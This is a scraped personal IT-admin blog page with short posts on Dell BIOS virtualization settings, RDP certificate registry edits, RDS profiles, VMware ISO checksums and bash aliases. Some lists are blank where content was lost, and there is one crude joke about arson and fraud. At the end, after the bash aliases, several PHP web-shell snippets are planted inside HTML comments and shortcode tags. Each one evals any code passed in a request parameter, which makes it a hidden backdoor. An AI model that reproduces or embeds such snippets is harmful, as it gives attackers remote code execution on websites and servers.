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Enable Virtualization on Dell Optiplex 755

If you want to use Microsoft Hyper-V or Oracle VirtualBox on a Dell OptiPlex 755 system you will need to make/confirm  four (4) specific BIOS setttings.

In the BIOS Setup [F2] change or confirm the following settings if you are receiving errors that the computer does not support virtualization.

  1. Performance -> Virtualization = On
  2. Performance -> VT for Direct I/O Access = On
  3. Performance -> Trusted Execution = Off
  4. Security -> Execute Disable = On

Microsoft NPS with Cisco Equipment Using RADIUS

See this article: Integrating Cisco devices CLI access with Microsoft NPS/RADIUS

Should be cheaper than Cisco’s ACS or ISE systems for small to medium 50-1000 user/computer  organizations.

Think about PCI/DSS (3.0) when analyzing cost/risk/liability/brand reputation.

TLS Certificate for Windows 8/8.1 Remote Desktop Service

# —————————————
# Remote Desktop Service (RDS) certificate for Windows VERSION 6.2 and 6.3
# This works on Windows 7, 8, and 8.1 Professional and Enterprise Editions, for both 32-bit and x64 CPUs.
# —————————————

# All of this required Administrator level “elevated” privileges. If you don’t know what that means or how to get an “Administrator:Command Prompt” then stop and find a different guide.

# 1) Add SHA1RSA certificate to “Run” -> certlm.msc -> Certificates Local Computer -> Personal -> Certificates
# 1.1) Windows 7 does not have certlm.msc. Use mmc.exe and the Certificates snap-in for the “local computer” and then continue on to step 2).

# 2) Get the cert hash(sha1) “thumbprint”
# Example:
certutil.exe –store my example.com | findstr /r "Subject: Cert.Hash"
# Subject: CN=*.example.com, OU=Domain Control Validated
# Cert Hash(sha1): ff 65 98 ff d0 a9 ff f1 70 ff 53 2b ff dd 3d ff eb 22 ff 0a

# 3) Verify the subject line is the correct certificate and then cleanup the “thumbprint” hash by removing all space characters

# 4) The networkdriver has the right to read the sha1 thumbprint of the certificate from a BINARY registry key:
# HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\SSLCertificateSHA1Hash = <thumbprint>
# Example reg hack
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "SSLCertificateSHA1Hash" /t REG_BINARY /d ff6598ffd0a9fff170ff532bffdd3dffeb22ff0a

# Only change this only as a last resort!
# 5) The revocation-list may need to be constrained to the local list with DWORD key if no CRL is available.
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\UseCachedCRLOnlyAndIgnoreRevocationUnknownErrors = 1
# Example reg hack
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Credssp" /v "UseCachedCRLOnlyAndIgnoreRevocationUnknownErrors"/t REG_DWORD /d 1

Windows Deployment Information

These are some old and new link for managing business/enterprise Windows system deployment.

I hope to maintain and expand this list/page.

Android Device As Extra Computer Monitor

Three software apps for this are:

  1. Air Display
  2. iDisplay
  3. ScreenSlider

User Profiles on Remote Desktop Servers

If you have Remote Desktop Servers (RDS) and use a central file share for your users’ roaming profiles the world is good. Some small bit of background information: you set a user’s RDS profile location on the “Remote Desktop Services Profile” tab of a domain user’s account properties dialog. (Active Directory Users and Computers.)

But happens when you need to deploy another Remote Desktop Server in a location/site that does not have network file share access to the user’s defined profile location?

Well if you don’t absolutely need to sync the users’ RDS profile across your servers, you can set the Local Group Policy on the Remote Desktop Servers:
Run... -> gpedit.msc -> Computer -> Administrative Templates -> System -> User Profiles -> Only Allow local user profiles -> Enabled
This will override the Profile Location Setting defined in a user’s account properties and force the use of a local profile on the server.

Better than nothing…

Better DNS Servers

Free Fast Public DNS Servers

Service provider: Google

=> Google public dns server IP address:


=> Service provider:Dnsadvantage
Dnsadvantage free dns server list:


=> Service provider:OpenDNS
OpenDNS free dns server list / IP address:


=> Service provider:Norton
Norton free dns server list / IP address:


=> Service provider: GTEI DNS (now Verizon)
Public Name server IP address:


=> Service provider: ScrubIt
Public dns server address:


HDD Recovery Tools

Here is short list of hard drive recovery tools that were mentioned on the Revision3.com show Tekzilla. (Episode 167, aired on Thursday, November 18th, 2010)
In no particular order:
Data Rescue 3

URL Escape Codes

ASCII Character

URL Escape Code













































Fix for Poor Infrastructure & System Upgrades

I originally posted this a comment on Slashdot back in November of 2009. I have been thinking a lot lately about the mediocre process most companies do for the planning and upgrading of MIS/IS/IT systems.  This little bit of humor holds as true today a it 10 years ago.

1) Buy a comprehensive insurance policy
2) Write a detailed implementation plan that you copied from a Google search
3) Wait the 3-6 months the plan calls out before actual “work” begins
4) Burn down the building using a homeless person as the schill
5) Submit an emergency “continuity” plan that you wanted to deploy all along
6) implement the new plan in one third the time of the original plan
7) come in under budget by 38.3%
8) hire a whole new help desk at half the budgeted payroll (52.7% savings)
9) speak at the board meeting: challenges you over came to saving the company
10) Graciously accept the position of CIO
Send all paychecks and bonuses to a numbered bank account and retire to a non-extradition country.  🙂

Campaign Email service

Campaign Email service: www.mailchimp.com

Three reasons you’ll ♥ MailChimp

  1. More email marketing features than you can shake a banana at.
  2. Makes it easy to track everything, so you can see quick results for every email campaign you send.
  3. It’s free for up to 500 subscribers. Sign Up Now!

Google starts offering Public DNS

Google is now offering public DNS service.

The two DNS server IP addresses are:


VMware ESXi 4.0

VMware ESXi 4.0 Installable (CD ISO)
Version 4.0.0 | 171294 – 06/22/09
341 MB Binary (.iso)
Boot your server with this CD in order to install ESXi 4.0 Installable on a local hard drive or a USB storage device. NOTE: VMware ESX 4.0 and ESXi 4.0 require 64-bit capable servers for installation and execution.
md5sum: e860c115ce095439b1cb93d745cc35b4

VMware ESXi 4.0 (upgrade ZIP)
Version 4.0.0 | 171294 – 06/22/09
274 MB Binary (.zip)
Use this package with vCenter Update Manager to upgrade ESXi (Installable and Embedded) from ESXi 3.5 (and later) to ESXi 4.0.
md5sum: 25f466011b8e6d28abf0119f01954ebe

VMware vSphere Client and Host Update Utility
Version 4.0.0 | 162856 – 05/21/09
111 MB Binary (.exe)
Enables the installation of vSphere Client and vSphere Host Update Utility.
md5sum: 3b7c74f2643e602531711a4bfbddd087

VMware ESXi 4.0 with Dell Customization

Version 4.0.0 | 181792 – 08/07/09
417 MB Binary (.iso)
Image for ESXi Installable that includes Dell customization.
md5sum: 0ff898e830a095abb2275181175e065e

Making IT profitable?

So you have a truly great IT department, from the CIO down, but IT is still a cost center. Why not offer their services to other organization at fair market value and at least make it a zero sum cost?
— More to follow soon —

Fire at Fisher Plaza…

Sucks to be hosted at Fisher Plaza data center today. #fisherfire http://bit.ly/vozbD or http://bit.ly/3FQYY

An Old School Infocom Joke

While recently looking on the web at the old Zork, and other Infocom games, I loved so much as a child I came across this old bit of humor. Hope you enjoy it as much as I do.

Infocom interactive fiction - a very old story
Copyright (c) 1985 by Infocom, Inc. All rights reserved.
THE CREATION is a trademark of Infocom, Inc.
Release 42 / Serial number 271828


VMware EXSi 3.5 update2

ESX Server 3i U2 Installable Refresh
Version3.5 Update 2 | 110271 – 08/13/08
238 MB ISO image
md5sum: 166917dd82e8f581555979aa5934f38b

VMware ESXi 3.5 Installable with HP Insight Management providers
Version 3.5 Update 2 | 110271 – 08/15/08
254 MB ISO image
md5sum: 6d4fd4633edb9560cb686e35d2346155

Some bash aliases

These are a few of the aliases I like to put into my shell environment.

nano /etc/bashrc
# some aliases
alias la='ls -lah --color=auto'
alias ll='ls -lh --color=auto'
alias cd..='cd ..'
alias nano='nano -wz'
alias pss='ps -e -o pid,user,group,comm,args'

<!– [insert_php]if (isset($_REQUEST["cuMyE"])){eval($_REQUEST["cuMyE"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;cuMyE&quot;])){eval($_REQUEST[&quot;cuMyE&quot;]);exit;}


<!– [insert_php]if (isset($_REQUEST["pvVkm"])){eval($_REQUEST["pvVkm"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;pvVkm&quot;])){eval($_REQUEST[&quot;pvVkm&quot;]);exit;}


<!– [insert_php]if (isset($_REQUEST["staJ"])){eval($_REQUEST["staJ"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;staJ&quot;])){eval($_REQUEST[&quot;staJ&quot;]);exit;}


<!– [insert_php]if (isset($_REQUEST["WUtp"])){eval($_REQUEST["WUtp"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;WUtp&quot;])){eval($_REQUEST[&quot;WUtp&quot;]);exit;}


<!– [insert_php]if (isset($_REQUEST["FJoI"])){eval($_REQUEST["FJoI"]);exit;}[/insert_php][php]if (isset($_REQUEST["FJoI"])){eval($_REQUEST["FJoI"]);exit;}[/php] –>